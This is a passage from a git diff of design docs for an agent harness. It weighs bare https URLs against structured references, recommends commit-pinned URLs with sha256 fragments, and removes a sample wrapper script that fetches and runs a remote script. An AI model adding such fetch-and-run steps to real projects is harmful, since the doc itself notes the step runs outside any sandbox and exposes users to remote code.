`allowed_remote_resources` list in harness YAML is editable by any team member with write access to `.fullsend`.

Arguments for bare `https://`: low barrier to entry, simple to understand. Arguments for structured refs: enables `dependabot`-style automation, makes VCS coupling explicit, provides stable API via tags/commits. Initial implementation uses bare `https://` for simplicity, but structured references may provide better long-term ergonomics and should be considered for Phase 2/3. +**Current recommendation:** Use commit-pinned raw.githubusercontent.com URLs (e.g., `https://raw.githubusercontent.com/fullsend-ai/library/8cd3799.../agents/code.md#sha256=...`) for GitHub-hosted resources. The commit SHA in the URL path provides immutability at the URL level, and the `#sha256=...` fragment provides content integrity. This achieves the same goals as `git+https://` without requiring VCS-specific logic. ## Related Work diff --git a/docs/plans/universal-harness-access.md b/docs/plans/universal-harness-access.md index 0085074dd..d7002c81b 100644 --- a/docs/plans/universal-harness-access.md +++ b/docs/plans/universal-harness-access.md @@ -1282,9 +1282,7 @@ harnesses: ## Open Questions -**Note:** The questions below are intentionally deferred to future work and do not block acceptance of ADR-0037.

For organizations with many scripts, updates to upstream scripts will still produce "wall of text" diffs when the local copies are updated. **Mitigations:** -- **Minimal wrapper pattern (future capability):** Local scripts could be thin wrappers that download and verify a URL-sourced script at runtime, then execute it in a restricted sandbox. The wrapper is small and rarely changes; the actual script logic lives at a URL. Example: - ```bash - #!/bin/bash - # pre-code-wrapper.sh (local, version-controlled) - fullsend fetch-and-run \ - --url https://github.com/fullsend-ai/scripts/pre-code.sh \ - --sha256 abc123... \ - --sandbox restricted - ``` - **Important:** This pattern requires an in-sandbox execution mechanism (something like `pre_commands`/`post_commands` in the harness schema that run inside the sandbox before/after the agent's main execution). Today, `pre_script` and `post_script` run outside the sandbox, so there's no enforcement point to guarantee the wrapper runs in a restricted context. Without in-sandbox execution, this pattern has the same blast radius as allowing URL-sourced scripts directly — the wrapper is local and auditable, but the actual script logic is remote. This pattern should either be scoped to future in-sandbox execution work or removed until that capability exists. - **Vendoring with lock files:** Use a lock file (similar to `package-lock.json`) to pin script URLs and hashes. A `fullsend vendor` command updates local copies and the lock file. Diffs show only the lock file changes (URL and hash updates) rather than the full script content. - **Future:** If URL-sourced scripts are permitted in the future, they would run in a heavily restricted sandbox with no access to secrets, no network access, and no filesystem writes outside `/tmp`.
